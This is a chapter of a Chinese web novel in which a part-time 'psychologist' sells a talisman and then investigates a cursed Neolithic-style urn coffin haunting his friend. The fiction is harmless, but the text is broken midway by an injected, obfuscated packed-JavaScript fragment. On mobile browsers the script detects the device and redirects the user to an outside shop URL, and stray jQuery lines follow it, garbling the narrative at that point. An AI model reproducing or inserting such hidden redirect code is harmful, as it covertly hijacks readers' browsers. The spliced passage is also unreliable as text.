文趣网 > 都市小说 > 今天被邪祟撅了吗? > 16.祂的标记
    “陈医生,我好痛苦,我是不是真的有病?”

    “别着急,女士,有话慢慢说。”

    穿着白大褂,戴着平光眼镜的青年,声音温和地安慰坐他对面一脸郁郁的女生。

    “我,我不知道该怎么说……就是刚入职时,与一个同事的穿搭撞衫。之后,她就开始针对我,不但在其他同事面前贬低我,骂我学人精,还抢了本该是我的功劳,我真的快崩溃了……”

    或许是面前的青年态度过于平和,女生情不自禁地把自己入职后遇到的事情,如倒苦水一般说了出来。

    “大家都在劝我不要斤斤计较……陈医生,我真的很小心眼吗?”

    “不是你的错,为什么要怪在自己身上?”

    陈斐推了推鼻梁上的眼睛,又道:“是她煞气重,她克你!我画道符给你镇她!”

    “陈医生,你,你不是心理医生吗?怎么还会画符?”

    “心理医生和画符不冲突。放心,我不是骗子,有证的。要是不灵,随时找我退钱,我的店就在这里,跑不掉的!”

    陈斐将折成三角的黄符递给女生。

    “这张符纸贴身戴着,再将工作岗位往西南位移二十厘米,那位置旺你!”

    陈斐微笑:“承惠,200。”

    女生将信将疑地接过符纸,扫码付款。

    “绿泡泡到账——200元。”

    陈斐脸上的笑容更加真诚。

    女生是这三天唯一光顾店铺的客人,陈斐拿出十二分的服务态度,当了两个多小时的树洞,总算赚了200块。

    黄符是真的。

    也是巧了,最近两天他正在研究符箓。

    卖出去那张是唯一成功画出来的斩小人符。

    功能:斩断小人恶意陷害,化解职场、生意上的暗中算计。

    ——

    “看来宣传单还得继续发啊。”

    陈斐送走客人,打算再去街角印刷店打印一批宣传单时,手机电话响了。

    一看来电人姓名,眉头一挑。

    “喂,胖哥,你个大忙人怎么有空给我打电话?”

    胖哥是陈斐第一次出门办事,回来搭顺风车的那位,本名叫白昼。

    他们俩加了绿泡泡后,偶尔聊两句,加上白昼会来事,双方关系处得不错。

    “哎,别提了,陈兄弟,你有空不?”

    “有啊。”

    “那陈兄弟你能来我……算了,还是我自己过来吧。”

    电话挂断不到半个小时,白昼上门了。

    只是对方把自己从头到脚裹得严严实实,陈斐差点没认出来。

    白昼性格爽朗,跟谁都能聊两句,应该不是容易害羞的人才对。

    怎么今天裹得这么严实?

    担心认错人,陈斐试探地喊道:“胖哥?”

    “是我!”

    白昼取下墨镜口罩,脸全部露出来时,陈斐瞳孔地震。

    只见,他脸上全是坑坑洼洼的红印子。

    拇指大小的小牙印,一层叠着一层,密密麻麻。

    仅一眼,让人sam值狂掉。

    有些牙印正不断往外冒黑气。

    无数黑气汇聚到头顶,拧成一股更粗的黑气往外飘着,不知延伸到何处?

    黑气中还夹杂一些黑红气体。

    或许普通人看不见,可陈斐的鬼眼看得清清楚楚。

    黑气每吸收一波黑红气体,白昼的精神气就衰减一分。

    就这一小会儿,白昼的脸上多了好几道细细的皱纹。

    如今的白昼没了初次见面的红光满面,反而一脸疲态,看起来老了十几岁。

    “胖哥,你怎么……”

    “陈兄弟,你是想问我怎么会变成这样,对吧?”

    白昼主动接下陈斐还未说完的话,面露苦笑。

    “陈兄弟,我好像没压住那东西,它缠上我了。”

    “都怪我,如果当初我听陈兄弟你的话,也不至于弄成现在这副鬼样子!”

    陈斐皱眉,他记得后备箱那东西被小木牌吸收了黑气,应该不会这么快出来作妖才对?

    “胖哥,你仔细和我说说发生在你身上的事。”

    白昼撸起袖子挽起裤子,布料遮住的地方也都是牙印。

    陈斐轻嘶了一声,“胖哥,你到底收了个什么玩意儿,这么凶?”

    “是一个大肚子陶罐!”

    “当时我觉得陶罐上的花纹很特别,加上它有些年代,瞧着像是清末的产物,我就从老农手里买了下来。”

    “当时你跟我说东西邪气,我还不信。可当天晚上,我梦到一个小孩,那小孩哭得特别伤心,说我拿了他的东西,要我还回去。”

    “我当时以为就是个梦,没当回事。”

    “可最近几天,我身上陆陆续续出现小孩咬出来的牙印。这些伤口非常疼,好像真有小孩一口一口吃我的肉!陈兄弟,你可要救我啊!”

    白昼越说越害怕,双手紧紧抓住陈斐,如同抓住救命稻草一般。

    “胖哥,你别着急。”

    陈斐拿开了白昼的手,想了想问 ,“那个罐子,你带来了吗?”

    “带了,东西就在车上,我去拿!”

    白昼重新戴上墨镜和口罩出了大门,很快抱进来一个东西。

    东西用红布细心地裹好。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740757|208882||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >从外表看,是个椭圆形的东西。

    陈斐打开红布。

    是一口陶瓮,表面呈赤褐色,圆润的肚腹上绘着一圈圈绳纹,瓶口到底部涂着由浅到深的朱砂。

    “胖哥,这不是陶罐,而是一口瓮。”

    “瓮?”

    “可、可瓮棺不是单瓮加盖吗?”

    “它上面也没盖啊?”

    陈斐:“……”

    合着是个半瓶水。

    什么都不懂,竟敢收死人的东西。

    陈斐有理由怀疑,白昼能活到现在,全靠他家祖宗在下面磕破头求来的。

    瓮罐倾斜,他从瓮底扣出一块小陶片。

    瓮罐对准灯光,底部露出一个圆形小孔。

    “深腹红陶瓮在下,浅腹陶钵倒扣封顶,瓮棺葬典型的葬法之一。”

    白昼现在只会阿巴巴了,“瓮……葬……”

    陈斐没理他,继续科普道:“虽不知这口瓮上的陶钵为什么不见了,但你看它下面的圆孔,这叫转世孔,也叫灵魂孔,正是瓮棺的最大特点之一。”

    瓮罐葬又称瓮棺葬,起源于六七千年前的新石器时代,多用于埋葬夭折的孩童。

    瓦罐肚大圆润,是担心孩子害怕,特意做成类似子宫的模样。

    瓮身涂朱红,是生生不息的念想。

    底部留圆孔,是给孩子留的通路,盼望孩子归家。

    这些都是父母对夭折孩子的眷念与不舍。

    看着罐底源源不断冒出来的怨气,陈斐叹口气。

    父母留给自己唯一的东西被人拿走,难怪人家会生气。

    听完陈斐的解释,常白昼更慌了。

    “那怎么办?陈兄弟,你得救我啊,我还不想死!”

    陈斐竖起一根手指,“现在有两个办法,一是打碎孩子魂魄,它不会再缠着你。”

    “打碎灵魂会不会太残忍了?”

    陈斐竖起第二根手指,“二是找到孩子的骸骨,重新寻风水宝地安葬。”

    “……二,我选二!”

    白昼犹豫片刻,选了二。

    他是商人不假,但让他选一,良心不安。

    “那走吧。”

    白昼茫然,“去哪儿?”

    “当然是去找孩子的尸骨好好安葬啊。”陈斐盯着他的脸,忽然笑道:“再迟几天,你的脸,恐怕很难恢复正常。”

    “走!立马走!”

    白昼摸着自己的胖脸,一刻也不想耽搁。

    陈斐收拾东西准备出门时,迎面撞上一个人。

    “小兄弟,这东西八百块卖你了,快拿走吧!”

    哟!

    还是位熟客。